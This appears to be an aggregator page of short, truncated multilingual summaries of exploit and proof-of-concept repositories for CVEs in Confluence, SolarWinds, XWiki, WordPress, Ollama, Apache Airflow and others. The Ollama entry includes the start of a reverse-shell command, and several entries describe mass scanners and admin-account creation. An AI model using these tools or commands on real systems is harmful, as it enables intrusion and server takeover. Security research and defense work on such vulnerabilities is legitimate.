-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-und-Server Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebigen Code aus der Ferne auf einem anfälligen Confluence-Server auszuführen. Die Schwachstelle besteht aufgrund einer unsachgemäßen Validierung von...

CVE-2020-10148

Verwendung & Haftungsausschluss Dieses Skript ist ein Massen-Scan-Skript für die Remote-Codeausführungsschwachstelle der SolarWinds Orion API CVE-2020-10148. Verwendung: Python CVE-2020-10148.py urls.txt In urls.txt steht jede URL in einer Zeile. Die anfälligen Adressen werden in vul.txt...

CVE-2025-24893-XWiki-RCE

📜 Beschreibung In XWiki besteht eine kritische RCE-Sicherheitslücke , die es nicht authentifizierten Angreifern ermöglicht, über verwundbare API-Endpunkte beliebige Systembefehle auszuführen. Die Ausnutzung kann zu Folgendem führen: Vollständige Serverübernahme Datendiebstahl oder -vernichtung...

CVE-2021-21975

Prodotti Interessati VMware vRealize Operations 8.3.0, 8.2.0, 8.1.1, 8.1.0, 7.5.0 VMware Cloud Foundation 4.x, 3.x vRealize Suite Lifecycle Manager 8.x Descrizione Il 31 marzo 2021, VMware ha rilasciato ufficialmente l'avviso di rischio vmsa-2021-0004. I numeri di vulnerabilità sono cve-2021-2197...

CVE-2022-24112_POC

POC POC raccolti CVE-2022-24112 Per l'ambiente del campo di tiro 春秋云境:CVE-2022-24112, ho modificato due POC, modificando leggermente i POC dei due autori M4xSec e twseptian per adattarli al campo di tiro 春秋云境: 春秋云境:CVE-2022-24112: Apache Apisix è un gateway API cloud-native per microservizi della...

wp2shell-poc

wp2shell 💙 Unterstützen Sie das Projekt Wenn Sie meine Arbeit schätzen, erwägen Sie bitte, das Projekt über USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN zu unterstützen WordPress Core Pre-Authentication RCE Chain wp2shell ist ein Proof-of-Concept für Sicherheitsforschung, das eine...

CVE-2020-27199

CVE-2020-27199 Magic Home Pro - Bypass dell'autenticazione Multiple vulnerabilità trovate nell'applicazione mobile Magic Home Pro utilizzata per interfacciarsi con il kit LED Strip RGB JadeHomic. La più significativa di queste vulnerabilità è un bypass dell'autenticazione CVE-2020-27199, che...

CVE-2025-8723

⚡️ Cloudflare Image Resizing Beschreibung: Der REST-API-Endpunkt des Plugins authentifiziert Benutzer nicht und bereinigt Eingaben in der Methode hookrestpredispatch nicht ordnungsgemäß. Dieser Fehler ermöglicht es Angreifern, beliebigen PHP-Code durch manipulierte Anfragen zu injizieren und...

CVE-2020-13937

Descrizione Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha espone un'api restful che rivela le informazioni di configurazione ...

CVE-2024-49328

CVE-2024-49328 WP REST API FNS ; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers:...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Necessita di essere eseguito su Linux, l'ambiente deve avere gcc Installa golang, esegui il seguente comando per ottenere una shell inversa go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2023-5561-PoC

CVE-2023-5561-PoC WordPress schränkt nicht ordnungsgemäß ein, welche Benutzerfelder über die REST-API durchsuchbar sind, sodass nicht authentifizierte Angreifer die E-Mail-Adressen von Benutzern herausfinden können, die öffentliche Beiträge auf einer betroffenen Website veröffentlicht haben,...

CVE-2026-63030

CVE-2026-63030: wp2shell Exploit de Injeção SQL por Dessincronização da API Batch do WordPress Ferramenta de Prova de Conceito para extrair usuários e hashes de senhas por meio da vulnerabilidade CVE-2026-63030 wp2shell. Informações da Vulnerabilidade CVE : CVE-2026-63030 wp2shell CVE Complementa...

CVE-2026-60137-WordPress-Core-SQL-Injection-PoC

CVE-2026-60137 – WordPress-Core-SQL-Injection-PoC Nicht-destruktiver Proof-of-Concept und Verifizierungs-Harness für CVE-2026-60137 , eine blinde SQL-Injection im WordPress-Core WPQuery::authornotin, erreichbar über den Parameter authorexclude der REST-API. Grundursache WPQuery::getposts baut SQL...

CVE-2026-63030-WP2Shell

CVE-2026-63030 | WP2Shell exploitiert von gr1tx WP2Shell ist ein Python-basierter Proof-of-Concept PoC für CVE-2026-63030. Es führt eine zeitbasierte Schwachstellenverifizierung gegen die WordPress-Batch-API durch und erzeugt detaillierte HTML- und JSON-Berichte. Das Projekt ist für autorisierte...

WP2Shell

WP2Shell - CVE-2026-63030 / CVE-2026-60137 WordPress REST API Batch SQL Injection zu RCE Vollständiges Erkennungs- und Ausnutzungstool für die Schwachstelle im WordPress REST API Batch-Endpunkt. Dieses Tool nutzt eine kritische SQL-Injection-Schwachstelle im WordPress REST API Endpunkt...

CVE-2025-3102

CVE-2025-3102 🛠️ SureTriggers Exploit Script Dieses Skript wird verwendet, um Sicherheitslücken im SureTriggers-Plugin auf WordPress-Seiten zu identifizieren und auszunutzen, die eine anfällige Version ≤ v1.0.78 verwenden. Bei Erfolg erstellt das Skript automatisch ein WordPress-Admin-Konto. ⚙️...

WordPress-CVE-2026-63030-Analysis

🛡️ CVE-2026-63030: Technische Analyse & Audit Umfassende defensive Aufschlüsselung, Bedrohungsanalyse und Richtlinien zur nicht-destruktiven Verifikation. Zusammenfassung • Matrix • Technischer Deep Dive • Verifikation • Behebung 📑 Zusammenfassung !IMPORTANT Nur zu Verteidigungszwecken: Dieses...

CyberStrikeAI

CyberStrikeAI 中文 | English Das Handlungssystem für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Evidenz zu operativem Gedächtnis wird und jede Operation die nächste verbessert. CyberStrikeAI verbindet Planung, Ausführung, menschliche Aufsicht, Evidenz und Replay in einem...

CVE-2020-11978

CVE-2020-11978: Remote-Code-Ausführung in Apache Airflows Beispiel-DAGs Informationen Beschreibung: Diese Schwachstelle ermöglicht RCE, wenn Airflows Beispiel-DAGs geladen werden, möglicherweise ohne Authentifizierung mit CVE-2020-13927 CVE-Credit : xuxiang of DtDream security Betroffene Versione...